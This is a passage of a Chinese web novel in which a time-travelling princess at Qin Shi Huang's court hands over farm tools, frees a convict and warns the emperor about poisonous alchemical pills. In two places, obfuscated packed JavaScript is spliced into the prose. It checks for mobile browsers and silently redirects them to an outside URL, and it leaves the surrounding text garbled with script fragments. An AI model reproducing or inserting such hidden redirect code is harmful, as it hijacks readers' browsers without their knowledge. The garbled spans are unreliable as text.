万一种坏了仙瓜,他的三族也会跟着一起坏掉的! 陈苍一头雾水,陈苍满头绝望。 善良的公主为她解围。 她说:“父皇,我手掌张开的一瞬间,有一些和南瓜有关的内容突然涌入到我的脑海中,请您允许我将这些告知二位农官。” 陈苍的心瞬间从嗓子眼滑落到肚子里,此时他的心情不比范进中举的那天差。 青琅:“南瓜,喜温,耐旱性强,对土壤要求不严格,但以肥沃、中性或微酸性沙壤土为好。种植方法为,点播,每穴2-3粒,种子尖部朝下……” “其肉浓色黄,不可生食,惟去皮瓤瀹食,味如山药。同猪肉煮食更良,亦可蜜煎。切记,不可同羊肉食,令人气壅……” 山药又是什么啊?陈苍发出绝望地哀嚎——心里默默的。 公主,您稍慢一些啊,俩老头笔都快写秃毛了,跟不上青琅的速度,只好让门外候着的小吏也进来跟着一起抄录。 此刻青琅内心:死嘴,快背啊! 拿出期末考试前一晚的认真劲儿,背东西就会特别快,但缺点也很明显,背得不牢固,把知识写到纸上后,大脑会自动清空,挪出这些容量来记别的内容。 对于青琅的背诵速度,嬴政表示不足为奇。 这叫什么来着,他在脑海中回忆青琅跟他说过的话,啊对,就叫说明书! 仙人们同别的神仙交换物件儿的时候,有的会顺便附赠一张说明书,用来介绍自己法器的使用方法,来历,原料等! 所以仙人随手附赠青琅一张说明书解惑,这简直是再正常不过的事情了。 一顿背诵,终于将这些全部背完,青琅暗中松了一口气。 这对她的大脑来讲,属于高端局。 二位农官又和嬴政,青琅商谈片刻,一切事了,拿起漆盒准备离开。正要起身,却被青琅的一句话控在原地,动弹不得, “父皇,除了这些,我的一魂一魄在三界游荡时,还看到了一些能提高劳作效率,减少劳作时间,让黔首们更轻松的农具,和高产种田法,” 青琅指了指自己的脑袋:“我都记下来了!记在脑子里了!” 嬴政闻言,目光灼灼,看向青琅,仿佛她是个什么大宝藏似的。 嬴政:这脑子好啊,这脑子真是太好了。 十一女简直是我大秦的最强大脑! 10. 学吧 嬴政毫不犹豫点头同意,其余农家官吏更是翘首以盼,期待十一公主能透露出更多仙境里的农学知识。 将自己的记忆里调整到最佳状态,精神高度集中,暗自发誓要牢牢记住公主的话,一个字也不能疏忽。 朝中百官,远近亲疏不同,知道消息的多少也不相同。 像子婴、李斯这些亲自参与过这场变动的,他们知道青琅编造的完整故事,条理清晰,有前因后果。但其他官员就不同了,他们接受到的信息就是某一天夜晚,夜空中突然光彩溢目,亮若白昼,公主得仙人点化,予福祉,赠赏赐。 今日之后,还要再加上一句“抚顶授记”了。 且不止朝中百官,还要让官吏将这件事宣扬到乡亭里闾,畎亩之间,让大秦的黔首都知道,始皇帝是英明的皇帝,秦,是一个被上苍认可的王朝,黔首和六国余孽都应该顺从天意,服从秦的统治,否则就是逆天行事,上苍会对他们降下惩罚。 虽然有些人还是坚持所谓的“天行有常,不为尧存,不为舜亡”,说什么制天命而用之,觉得上苍不会管人间的事,但这世上又能出现几个荀子几个韩非这样会思考的人?大部分人都思想蒙昧,敬畏天地鬼神,每天忙忙碌碌于自己家的一百亩田地,除了吃饱穿暖,没有多余精力去想别的。对他们来讲,惹怒上天,那可是和受到严刑峻法一样令人恐惧的事情。 殿内服侍的寺人机灵会来事儿,听到青琅的话,甚至不用嬴政使眼色,立刻转身离开,片刻功夫后,再次回到殿中,手里还捧了厚厚一沓子绢帛和用来书写的木版。 青琅拿起一根铅粉笔,这是一种类似炭笔的硬笔,相比于软趴趴的毛笔,用这个会更熟练一些。 先在脑中回忆一遍,随后画在绢布上,对青琅来讲,画图纸可比背诵作物知识简单多了,只需要知道某个东西或者公式的原理,画出整体轮廓,其它细节都可以一点一点推导出来,虽然中间可能有一点卡壳,或者画出一些废弃或多余的线条,但总体是好的、完整的。 图画完了,整体主次分明,关键部件被单独列出,一目了然,甚至还标注了尺寸比例,虽然有一些很奇怪的字(或者符号?)他们看不懂,但这并不耽误众人仅通过这张图版,就能在脑海中构思出它制作出来后的模样。 嬴政意识到,对于大秦来讲,这种画图的方式也具有巨大价值——例如将其用在画有四方地物的舆图上。 除了农具,朕也顺便把这画图的法子一起收了! “妙哉,妙哉啊!”刚才怕打断青琅思路,赞美的话一直被陈苍憋在心里,又急不可耐问道,“公主,这法子也是您在灵山上学到的吗?” 也可能是在幽冥之地学的,嬴政想。 青琅:“是云雨山上的仙人聚在一起研究法器时,我在旁边看到的。不过仙人不用双手绘图,而是脑中想到什么图案,天空上就自动出现什么图案,立体的,带有颜色的,栩栩如生,还可以随时修改,他们将其称为电脑绘图。” 这听起来可真方便啊。 云雨山,这个嬴政知道,相传这是大禹治水时曾呆过的山。 青琅惋惜道:“可惜我做不到这样,而且画出的图版细节比其粗糙百倍。” 农官们:这图版哪里粗糙了?这图版可太好了! 凡人怎可与神仙相比,画成这样,已是卓越,嬴政心想,十一女不愧是我大秦的最强大脑,记忆、能力、学识、反应速度、孝心皆堪称世间第一流。 还同样要感谢仙人,感谢仙人给十一女一个在旁边参观学习的机会。 画完这张图,青琅便停手了,视线先是看向两位农官,随即又转到嬴政这边,眨了眨眼睛,似乎有什么话要对嬴政说。 嬴政猜到了! 青琅一定是想要父皇的夸奖。 他不是一个奉行打压式教育的父亲,既然孩子做的好,该夸就得夸啊。 实际并不是这样。 嬴政夸奖的话刚到嘴边,青琅就悄悄挪到他身边,小声说:“父亲,女儿要跟你坦白一件事。” “什么事?” “我不会写字。” 嬴政瞳孔一缩,对此不可置信,他堪称全能的十一女怎么就不会写字呢? 嬴政没有说话,但青琅从他细微的反应中看出,他是在说:真的吗?一个字也不会吗? “仙界的字和凡间不一样,至于秦字,儿臣会写一到十的数字,会写自己的名字,还会写秦。” 她收到的记忆里,真的就只会这些。 再看嬴政这边,一番思考之后,已经接受了这个事实,既然他的女儿有奇妙经历,精通仙境之物,那自己也要接受青琅对人间之事的懵懂。 不过还是不能当文盲,之前也就罢了,现在魂魄全了,等回到咸阳,要寻上几位学问好的老师教导十一读书写字,律法礼仪。 农官们的重点还在图版上,仔细研究这农具究竟有何用处,陈苍越看,越觉得这……似乎是用来撒种的? 不愧是农家的嫡系传人,他的直觉很准。 青琅说道:“此物名为耧车,可同时完成开沟,播种、覆土三道工序,一次能播种三行。” 耧车是汉武帝时期一位叫做赵过的农学家改良的农具,除此之外,他还发明出了代田法,在农学方面有着巨大的贡献。 她指向其中一个部位:“此物名为耧辕,弧形,可将牲畜系于前段。” “此物名为耧斗,用于盛放种子。” 她手指指向一个又一个的部件,最后总结:“只需要将种子装入耧斗,农人边走边摇动耧车,种子就会通过输种管中间的空隙划到耧脚,掉落到被耧铧开出的沟中,这个三角脚,一次能播种三行,若农人从早到晚不停播种,一日可种一顷。如果是那种大规模的平原耕地,还可以用五、七脚耧,一次播种多行。” 但从清晨撒种到晚上这种可能不大,就算人燃烧极限连轴转,牛也是需要吃草喝水的。如果当地耕牛不足,用人牵耧,那效率就更慢了。 “若在耧斗后装上细粪肥料,还可以边播种边施肥。” 这是宋元时期的改良。 明白耧车原理的陈苍激动地直拍大腿,他从前怎么没想到,原来还可以这样啊! 知识进入到脑子里的感觉可真好,真是令他茅塞顿开啊! 诶,不对,我的腿这么没有知觉啊?陈苍意识到了不对劲儿,难道是刚刚跽坐的时间太久,把腿坐麻了? “你拍的是我的腿。”一旁籍田令咬牙道。 尴尬的陈苍:“抱歉,抱歉,真是抱歉,老朽刚刚太激动了。” 只是讲解第一件农具,就用了足足一个时辰,可大家不仅不累,反而斗志昂扬,想要探索更多。 他们眼神中那种对知识的渴望,满的几乎要溢出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463328|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青琅:这就是好学生学习时的状态吗? 嘶,恐怖如斯! 除了耧车,还有别的! 穿越者三大必备神器之一,曲辕犁! 至于其它两件,分别是马具和张载的横渠四句——为天地立心,为生民立命,为往圣继绝学,为万世开太平。 “曲辕犁……曲辕犁将直长辕改为曲短辕,加装转动犁盘,便于调头转弯,操作灵活,机动性强,节省人力和畜力。” 青琅:背背背。 其它人:记记记。 “水力高转筒车,以水驱动,引水上山,其高以十丈为准……如因高岸深,或田在山上,皆可汲之。” 利用水流动力,把低处水提高到高处,不用再像从前那样舀水浇灌了。 “秧马,其外形似小船,头尾翘起,背面象瓦,供一人骑坐其腹,……可提高功效及减轻劳动强度。” 简单地说,秧马这东西就是用来坐着种水稻的,插秧或拔秧时不用总是弯腰,省力,还能加快速度。 “麦钐,这是一个用竹木制作的半圆形大箩筐,上面固定五尺左右的刀刃和木制手柄……用它来割麦,至少比普通镰刀快两倍。” “水碓,可以利用水流力量自动舂米,如果周围没有合适环境,也可选择踏碓,踩踏杵杆一端使杵头起落舂米,不仅省力,速度也能提升一倍。” 秦朝的幸运数字是六,所以青琅画了六种农具的图纸(水碓和踏碓算一种),再多她真的画不动了。 累。 除了这些农具,还有能适应干旱地区的“代田法”和“区种法”,前者可以用于大面积的田地上并使作物增产,后者则是对小面积农田精耕细作的高产方法。 虽然这两种方法也有缺点,但和秦朝的耕种方法相比,算是比较先进的了。 讲完这些,天已经完全黑了,殿内烛火换了一只又一只,寺人关心嬴政大病初愈的身体,几次想要提醒他注意休息用些饭食。却又怕打扰嬴政,挨一顿骂,无奈只好时不时送来些蜜水瓜果,粔籹蜜饵之类的,给大家填填肚子。 啧,又送上一盘儿截饼的寺人心中感叹,那句话怎么说来着,上有所好,下必甚焉,陛下勤政,连带着十一公主和百官也都是工作狂,一工作起来就发狠了、忘情了、沉浸了,满心满眼,全是国事公务。 咦,我们大秦,未来可期啊! 青琅停下笔闭上嘴,随手抓一块截饼放到嘴里,用红枣汁和牛奶和的面团儿,再用油煎了,盘下有个用来保温的小炉,趁热来上一口,香香甜甜脆脆的,特别好吃。 其他人还沉浸在这些农具和种田法中无法自拔,他们的大脑在飞速旋转,旋转,目光从铺了满地的绢布上细细划过,把上面的知识整理复盘,融会贯通。 嬴政眼底漫开笑意,看向这些能大大提高大秦粮食产量的农具图版。 心底轻飘飘的。 他今日方知,原来仙人出手这么阔绰啊。 想到自己多年求仙的经历,金银珍宝大把大把地往出撒,可结果呢,收获了一群在背后骂他粗暴凶狠的方士,和遥遥无期的徐福。 而他的女儿,真正有仙缘的人,孝顺可爱能力强,她一来沙丘,自己的病就有好转,不仅带来仙山上的仙果种子,而且还一出手就拿出这么多对大秦有益处的好东西。 再看青琅时,嬴政的眼神变得无比慈爱。 11. 改籍 此时青琅刚吃完第二块截饼,秦宫里的食物都是小小的,很精致,每张截饼才半个拳头大小,十五六岁正是长身体的年纪,以她现在的饭量,能一口气吃五块饼,再加一大碗汤。 不过她想留着肚子回去吃飧食。 想吃加了茱萸和花椒的羊肉汤,葵菜菹和梁米饭。 在末世之前,现代流行咸甜之争,在咸党和甜党争得你死我活之际,青琅开辟了第三条选择,咸甜永动机党,一顿饭要有甜有咸有麻辣有主食,还得荤素搭配——没错,她就是这样一个对自己特别好的人。 末世后,有得吃就不错了,饿肚子更是常有的事。 用帕巾擦干净手指,青琅小声问旁边寺人现在是什么时辰,被告知是一更三点(晚八点),对于秦人来讲,这个时辰已经不早了,是该睡觉的时间。 农官们终于复盘完毕。 ——他们从嬴政殿中出来时,腿都在打颤。 像是踩在云朵上,深一脚浅一脚,站都站不稳,这是他们坐得太久的结果。 但他们的手却是稳的,手中种子和图版被稳稳抱在怀中,没有回去休息,而是前往工坊,不敢有丝毫怠慢。 秦朝公务不过夜,所以他们刚得了图版就迫不及待想去工坊将这些农具制作出来。 这一趟可谓是收获满满,若是能成功种出仙瓜,并将这些省时省力的农具推广出去,推广到大秦每一片田地中,到时候会有多少黔首因此受益,能吃顿饱饭啊? 经过数百年的嬗变,一提到他们农家,士大夫们就只能想到种地,在水田里种、在平原上种、在山谷间种,在大秦的每一个角落种地,高官厚爵和他们无关,一生与土地禾苗为伴,面朝黄土背朝天,但他们农家也是有自己思想的学派啊! 农家者流,播百谷,劝耕桑,以足衣食。 陈苍疲软的双腿恢复了一些,不知不觉加快脚步,将籍田令远远甩在身后。 …… 青琅是在嬴政这里吃的晚饭。 寺人女婢们手中拖着一张张装有美味佳肴的托盘,鱼贯而入,将这些佳肴放到主人面前的食案上,另有一名女婢跪坐在旁边的席上侍奉。 食物比青琅想象中的还要丰富,除了她刚刚想吃的,还有牛白羹、炖羊羔、烤小猪、韭、藕、茭白、雕胡饭和酸酸甜甜梅桨等。 以及——一些獾子橐驼大乌龟之类的。 这菜可真硬,青琅心想。 筷子却很诚实地一直夹烤小猪和炖小羊。 一顿饭吃的美滋滋,吃完后青琅和嬴政告别,女婢们收拾残局,可手刚碰到案上的空盘,便听有寺人匆匆进来禀报,说蒙上卿回来了。 添酒回灯重开宴。 青琅在门口和蒙毅擦肩而过,他披着月色与星光进门,带进一阵轻风,吹得烛火摇摇晃晃,虽然因归心似箭星夜兼程赶路导致一身风尘仆仆,可眼神却是亮晶晶的,神采奕奕。 早在平原津时,蒙毅便被嬴政派出向周围山川神灵祈福,将近一月的时间,他祭拜过数位山神河伯,无数牺牲玉帛被投在河中、埋入地下、还放在柴堆上焚烧,透过升腾的烟气将祭品送达上苍。 蒙毅不敢有丝毫马虎,事必躬亲,虔诚仔细,甚至还许诺愿意用自己的生命换陛下病愈。 祭拜完后,回到行宫,他在门口停了将近一刻钟,左右徘徊,心中忐忑,不敢向前迈进一步,生怕听到什么不好的消息,还是在身边侍卫的鼓励下,才鼓起勇气进入行宫。 在得知陛下的病完全痊愈,今早已经能上朝会这个消息后,心里那块压得他喘不过气的大石头终于落了地。 “陛下,太好了,您的病终于好了!”见到生龙活虎的陛下,蒙毅急匆匆窜了过去,四十多岁的男人,眼中竟泛起泪水,如果不是身份不允许,他真想再捏捏胳膊捏捏腿,查看一番嬴政的身体情况。 蒙家祖孙三代侍奉秦王,代代忠良,嬴政刚继位为秦王时,蒙骜拉着年幼秦王的手,发誓要为秦国打下更多更大的疆土,果然如他所言,三年内夺取韩国十三个城邑,魏国二十个城邑。 后来蒙骜去世,蒙武接替父亲的位置,在攻打六国期间冲锋陷阵,杀死楚将项燕。再后来,秦兼并天下,蒙恬驻守边疆,驻守上郡,驱逐戎狄,震慑匈奴。 而蒙毅,蒙毅在朝中侍奉嬴政,为嬴政出谋划策,位至上卿,出则参承,入则御前,深受嬴政尊宠。 沙丘事变前,赵高在这俩兄弟面前,连蹦跶都不敢蹦。 “朕的身体已无大碍。”嬴政拍了拍蒙毅的肩,安抚道,“蒙卿有心了。” 蒙毅正要对嬴政说大概是哪位山神河伯显灵,却被嬴政率先岔开话题,然后听了好久好久有关天佑大秦的话,什么神仙、赐福、仙山、灵物之类的。 听完之后,蒙毅心中只有一个想法,和嬴政的想法一样——原来真正的神仙是如此玄妙大气。 那他们陛下之前过得都是什么苦日子啊?! 这帮方士们,真是太过分了,提到他们,蒙毅咬牙切齿的,心想等有机会一定再在陛下面前狠狠参上他们一本! 青琅这边,她也没有直接回去休息,而是和农官们一样,去了工坊,英布跟在她后面,努力当一个安安静静的护卫。 秦朝的工坊分为官营作坊和民营工坊两种。 民营工坊是那种职业世袭家族或师徒开的,祖传的手艺,工肆之人自小耳濡目染,学成出师后,有了匠人籍,就可以开店或者继承长辈的店铺。 店肆不大,通常为前店后坊,可以一边生产一边销售。 大型的工坊则是官营工坊,里面的工匠来源为官服奴婢、犯罪刑徒、服役者、还有主动想学习手艺的普通人。 进入作坊内部,时间已经很晚了,但里面依旧灯火通明,籍田令和作坊的小吏们主动上前迎接,陈苍正在沉浸式造农具无法自拔,根本不知道她来了,青琅也没有打断他。 作坊内的小吏共分两级,稍高一些的是作坊厂厂长“工师”,然后是车间主任“工丞”。 因为这些农具又急又很重要,选择的都是有多年经验的老手,技艺精湛着呢。 官营作坊生产流程有点像现代的流水线作业,还有点像大学专业,每一类工艺都分好多种,比如木匠就分为造车轮的轮人、造农具的车人、造兵器手柄的卢人等,这些匠人几十年只做这一件事,放到现代,兴许还能评上个XX仙人呢。 里面匠人都在认真工作,干得热火朝天,他们动作很快,而且分工有序,青琅巡视一圈儿,告知工师如果有什么不理解的地方,可以去找她询问,然后去了工坊旁的耳室休息,宫师闻言大喜,带着一堆官吏说些什么公主仁厚慈惠的话。 其实她也不会。 但是她可以趁没人的时候悄悄翻书,然后提点几句。 毕竟都是专业的匠人工师,和这些东西打了一辈子交道,简单提醒几句即可醍醐灌顶,如果要让青琅像中学课堂教学那样,掰开了揉碎了一遍遍讲,那他们绝对会因为能力不行而被革职。 再说了,这几件农具本身也没有几个复杂的结构部件,工师也就来问了两次,后面青琅闲得无聊,叫来一名隶妾(女奴),问了她几个问题。 隶妾高高瘦瘦的,一双大而黑的眼睛,因为常年劳作,手上长了很多茧子,名叫梁薪,出生于小吏之家,后来父亲犯了罪,她也连坐跟着一起成了隶妾,好在她不仅有一些手艺,还会针线活。 有手艺的人到哪儿都吃香,秦朝也一样。《均工律》中规定,有技能,可以当工匠的隶臣/妾,不用从事赶车、打柴、修筑城墙这些辛亏的劳役,他们被称为工隶臣/妾,地位比普通刑徒高很多。 秦的女工匠报酬比男工匠低,不过如果会做针线活,则和男子同工同酬。 但她们也有一个甜蜜的烦恼,普通刑徒可以用爵位或者钱财赎身,这些人不行,就算身残,也得志坚,去隐宫继续当匠人。 青琅问她的几个问题包括徭役、田产、衣食、赋税之类的,她都一一如实回答了,语言流畅,逻辑清晰。 如果说之前和子婴嬴政的相处,让青琅熟悉了秦贵族公卿的生活方式,那么现在从梁薪口中,让她知道了底层黔首的不容易,水旱蝗灾、战争、赋税、严寒、重法,每一样都像一座大山,重重地压倒他们身上,运气好没被压死,也被压得喘不过气来。 听完这些,已经凌晨了,一股倦意袭来,她离开工坊,回去的路上心中如同一片海水不停翻涌。 台阶上,青琅唤了一声:“英布。” “公主。”他站在台阶下,恭恭敬敬道,“您有何吩咐?” 青琅没有发出任务,反而问道:“你读过《孟子·梁惠王》吗?” 英布:你爹不让我读啊。 他前几年不是把民间除医药、占卜、农业之外的书全烧了吗? 他摇了摇头:“并未读过。” 就算嬴政不烧书,他也不知道啊。 普通黔首能识字就很厉害了,更别说去学习什么孟子墨子老子这一堆子了,骊山脚下,他说得那几句文绉绉的词儿,还全是从骊山那些犯罪头子,英雄豪杰身上学的呢。 青琅:“虽然我的魂魄于人间游历时,已经看过一次三千红尘,可我那时候懵懂,无法理解这些。” 英布:什么魂魄、什么红尘,这都啥意思啊? 此刻的英布,很像一个努力听课,但听又听不懂,学好像也学不会的绝望学生。 “刚刚和那名隶妾闲谈时,你守在门口,应该也能听到一些内容吧?”青琅问道,“她说的越多,我便越认为孟子那篇文章写得绝妙。” 什么文章他听不懂,但刑徒生活他可是很有经验的:“若您想知道黔首刑徒们的生活,我也可以告诉您的。” 他还懂不少暗地里的门道和黑话呢。 青琅瞥了他一眼,无奈道:“你会织布?” 她刚才问了很多有关织布的问题,提高生产力的方法无非是从两个方面入手,衣和食。食正在进行,至于衣,等她再研究几天,将黄道婆纺纱机和珍妮机研究透彻,推广出去,黔首们织布的效率也能大大增加。 这又问到英布盲区:“奴不会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463329|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>青琅:“孟子在和梁惠王的对话中表示了他的政治理念,五亩之宅,树之以桑,五十者可以衣帛矣;鸡豚狗彘之畜,无失其时,七十者可以食肉矣……” 这是她中学时学到的文章,当时年纪小,只想着快点背会,记住句子翻译,不要被老师罚抄写。但现在,来到秦朝,她才发现“老者衣帛食肉,黎民不饥不寒”是一个多么难达到的目标。 但她就爱挑战极限! 如此关心民生,仁民爱物,她果然天生就是一个适合当皇帝的料! 青琅想要实现自己的政治抱负,想要史书上留名,她意识到,自己可太想当皇帝了。 反正她和嬴政一个姓,从今晚起,她也要努力闯入争夺秦二世身份的赛道。 英布听完这些,小声地感叹:“这孟子,人还怪好的。” 青琅:“不光老者衣帛肉食,我想让大秦的每一位黔首都可以衣帛肉食。” 英布:滴,好人卡×2。 “不过在让天下人幸福之前,我要先让自己身边人得偿所愿。” “您的意思是……” “伸手。” 英布照说,伸出右手,打开手掌,青琅从褡裢中掏出一个物件儿放到他手上。 “这……这是……”英布激动地手都在颤抖。 他手上是一块照身帖,或者也可以叫“验”,相当于秦朝的身份证,是一块打磨光滑的竹片,巴掌大小,上面记载了英布的籍贯、身高、样貌、性别等信息,还加盖了官府印章。 青琅语气平淡:“你的新验传,从现在开始,你就不是刑奴了。” 他给英布改了户籍——虽然是请嬴政改的。 秦朝男子十五岁以上,或身高超过六尺六(1.52米)就会被傅籍,这代表可以服徭役了。 户籍也分好几种,例如普通黔首的“编户齐民”籍,商人的“市籍”、皇亲国戚们的“宗室籍”、匠人籍、进入学室学习,有可能当上法吏的“弟子籍”…… 英布之前是“私奴”籍,现在被改成了“士武籍”,会被编入士伍役册,等待国家召唤从军。 “你已经脱了奴籍,是想要成为我公主府的小吏,然后去战场上征战,还是回归故乡,被征发去战场征战?” 反正总归逃不了上战场这个选项。 英布家中尚有一兄一姊,阿姊虽然已经嫁人,可嫁的是隔壁里,可以经常回来照顾父母,阿兄也很孝顺,有什么好吃的总是让父母先尝。 并非是他不孝顺,不想回家,只是这就相当于你是选择这个京城事业编,被贵人提携,还是选择回家种田? 如果他选择回家种田,比孝顺名声先来到的,是阿父的鞋底子。 英布跪在青琅面前,语气虔诚:“多谢公主赏识,英布愿为公主驱使,唯公主之命是从也!” 青琅学着嬴政的样子,将英布扶起,先是勉励了他几句,然后让他早些回去休息。 英布回去,躺在榻上,翻来覆去,就是睡不着。 他太高兴了! 心中暗暗发誓,日后一定要立下不世战功,回报公主大恩,万不可让公主失望。 青琅却睡得很香,一觉睡到天亮,年轻就是好,只休息几个时辰,昨天的疲惫就被一扫而光,浑身神清气爽,盥洗一番,出了房门,正准备去工坊那边看看进度如何,中途却遇上两名宽大袍袖,方士打扮,看起来仙气飘飘的人。 一人一后,前人手中举着一个托盘,托盘上放了一个小巧精致的木盒,盒子是关着的,但青琅用线粒体想也能想到这里面装了什么。 她走过去拦住两名方士,果然,这就是某位方士最新出炉的仙丹,叫什么补气丹,前几天嬴政生病的时候,他们没敢上新,怕嬴政吃后病情越来越重,把他们活埋了,现在得知陛下痊愈,第一时间练出仙丹为陛下补补之前流失的气血精力! 青琅:…… 青琅把仙丹拿到自己手上,说会帮他们送到嬴政寝宫的,然后挥了挥手,让他们离开,二人心中万般不愿,但面前是如今风头正胜的天使公主,只好遗憾离开,避她锋芒。 等他们离开,青琅打开小盒,方士们这次学聪明了,在里面加了饴糖,试图用甜味掩盖重金属的味道,红色的小药丸,麦丽素大小,成本是麦丽素的千百遍,实际营养价值远不如麦丽素高,味道估计也不太好吧。 她拿着仙丹,赶往嬴政寝宫,在寝宫不远处,遇到了蒙毅和扶苏,蒙毅正向扶苏询问蒙恬近况,身体如何,有没有受伤之类的,二人同样也看见了青琅,见她眉头微皱,扶苏走了过来,问道:“十一妹,看你脸色不好,可是有什么烦心事?” 青琅重重地叹了口气,目光接连从扶苏、蒙毅身上扫过:“阿兄,蒙上卿,我在思考一个问题。” “我有个朋友,她父亲被方术士骗了很多钱和很多精力,偏偏他还是个好面子的人,我的问题是……” “如何才能在不挂我朋友父亲面子的情况下,让她父亲意识到丹药的危害,戒掉丹药。” 蒙恬:如果我没猜错,您的那个朋友,就是您自己吧! 12. 仙丹 扶苏视线下移,看见她手里拿的木盒,也明白了她口中的朋友是谁,朋友的父亲又是谁。 “唉!” A 现在变成三个人一起皱眉了。 青琅大学是学化学的,此专业被人亲切调侃为“四大天坑”之一,但没关系,同院还有另外材料和环境两个系陪着,三专业同时上榜,反耳呢,释怀了,平衡了。 朋友还安慰过她,说是她生不逢时,这个专业红利最多的时候是在古代,徐福前前后后可没少捞,而且捞完就跑,可比他后面那些什么李少君段栾大之流聪明多了。 ——恭喜青琅,属于她的时代红利来了。 她打开木盒,把丹药放在二人面前,分析道:“这里面有朱砂,水银,硫磺,饴糖……” 二人听得认真,但并没有太大反应。 古代人认为水银具有五金光泽,其状如水似银,见火则飞,不见埃尘,灵而最神,是各种金属的核心。不过水银的时代红利不在秦朝,而在唐朝,唐朝方士在书里写“水银生万物。” 水银养气安魂,古人皆爱水银。——但他们也知道直接吃水银会死,所以研究来研究去,还真研究出了能让人吃完水银不直接死的方法了。 丹砂可化金,饵服丹砂可以兼得金与水银之精气,以获长生。——要是吃金真这么有用,那贾南风才是真的去享福了,毕竟她就是喝金屑酒死的。 雄黄可杀精物、恶鬼、邪气、百虫毒,胜五兵。用它炼丹,服食后可以三虫伏尸,百病皆去,山川鬼神来侍,与天地其寿。——简称:死了。 在古人的认知里,他们只赞同前一句,所以认为这三样都是好东西。 珍贵啊!长生啊!大补啊! 青琅用自己前世为数不多的化学知识给他俩科普了这三种重金属的危害,避免众人日后视其如鬼怪,也没忘顺便提一嘴它们的医药价值和化学价值。 很显然,方士们练出来的这颗丹只会损害身体,无法强身健体。 “这些奸贼!”蒙毅咬牙切齿,“铮”的一声,拔剑就要去把那些术士宰了。 兴许陛下的身体就是吃这些有毒之物吃坏的! 此时的蒙毅认为这些方士有千般万般错处,怎么看都不顺眼,若是嬴政走路不小心踩空了一下,或者打了个喷嚏,他都觉得是这些方士们害的。 “且慢且慢。”青琅连忙阻拦,好说歹说,才劝住他,蒙毅收回佩剑,不过呼吸依旧很重,看来是被这个发现给气疯了。 他们现在的当务之急,是让嬴政少吃丹药多锻炼,更何况那些术士们,她还有用呢。 谁穿越到古代不想急头白脸地整点一硫二硝三木炭啊! 扶苏做好心理准备,终于开口:“既然十一妹难为,那便由阿兄去劝谏父皇啊。” 说着,伸手想要将木盒抢到自己手中,青琅一用力,木盒又往她那边移,扶苏也不敢用出在战场上杀敌般的力气,于是二人就这么有来有回,木盒左左右右地移动。 “十一妹,你的力气……真大。” 力气大,代表十一妹身体好,扶苏由衷替青琅高兴,但这木盒……木盒还是没抢过来。 “阿兄,我们现在的重点是,怎么才能让父皇不丢面子地知道这件事。” 皇帝的自尊心好像都挺强,前面已经意识到自己被方士骗了一次,现在知道自己被骗第二次,嬴政不会直接气晕过去吧?青琅猜测。 扶苏想来想去,都没有想到太好的办法,最后又将视线放到青琅身上:“十一妹,这件事……仙人可有什么教导?” 仙人能有什么指导,她又不真认识仙…… 等等! 青琅突然想到了,自己在仙界好像真有点人脉。 一个叫吴承恩,一个叫许仲琳。 “我还真在三十三重天上见过仙人炼丹。”青琅抓住盒子,喜道“我现在就去探望父亲。” 扶苏有点愧疚:“十一妹,阿兄又没有帮到你。” “可是阿兄,我年幼时你帮助过我许多。”扶苏是一个对弟弟妹妹很好很有耐心的人,在原主为数不多的记忆中,扶苏给她送过好几次吃食和玩具,“现在我长大了,也可以帮助你了。” 等我成年了,还可以帮助我那身体不好(bushi)的父亲处理工作。 吾日三省吾身,我真是个孝顺的女儿、我真是个谨悌的妹妹、我真是个当皇帝的好苗子,ohyeah! 青琅转身,举起手中的盒子,冲他摇了摇:“再见啦,阿兄,蒙上卿,我去找父亲了。” “公主灵慧,可为陛下分忧。” 看着青琅的背影,蒙毅感叹道。 …… 青琅和嬴政相对而坐,将木盒放到桌案上,推到嬴政面前:“父皇,这是方士新练出的丹药,我来找你时,偶遇送丹药的方士,就顺路帮着带了过来。” 还不忘补充一句:“补气丹,可以补充气血精力。” 如果在三伏天为嬴政辛辛苦苦、勤勤恳恳熬汤药的夏无且听到这句话,大概会被气到直接尖叫。 青琅忧心忡忡,满面愁容,虽然有点表演过度,但还是成功被嬴政发现了,询问她是否遇到了烦心事。 她用手指了指丹药:“阿父,您不能吃这个。” “为何?” “因为方士学到的炼丹法不全,这丹药有毒,若凡人是长久食用,会伤心伤肺伤脾伤胃伤肺,还会皮肤溃烂,狂躁易怒。” 轰隆! 嬴政的天塌了,他看着这颗丹药,身体保持不动,大脑放空,不去想这件事,可有些事,再不想面对,也要去面对。 其实嬴政已经发现不对劲儿了,随着这几年越来越频繁地吃丹药,他的脾气也越来越暴躁,之前还以为是国事太忙导致的,可现在听到青琅的话,他终于知道其中原因。 这也不怪嬴政,秦国因为被批蛮夷之地,已经算是丹药吃得少的了,数百年来,其余国家的贵族公卿吃丹药一个比一个猛,尤其是齐国,齐王室吃丹药像吃豆子似的,一口一个。 在这么一个丹药氛围浓烈的时代长大,很难不染上吃丹药的陋习。 别说是嬴政了,就连后世的皇帝,有一个算一个,都爱嗑丹药,像秦汉这种没有前车之鉴的朝代也就罢了,唐朝至少吃死了五个皇帝,不还照样继续,而且因为材料升级了,各个品种的丹药更能练出花儿来了。 青琅:“父亲,我的魂魄四处飘荡时,曾经去过一次三十三重天之上,离恨天兜率宫中。” 嬴政:…… 离恨天兜率宫又是哪里? 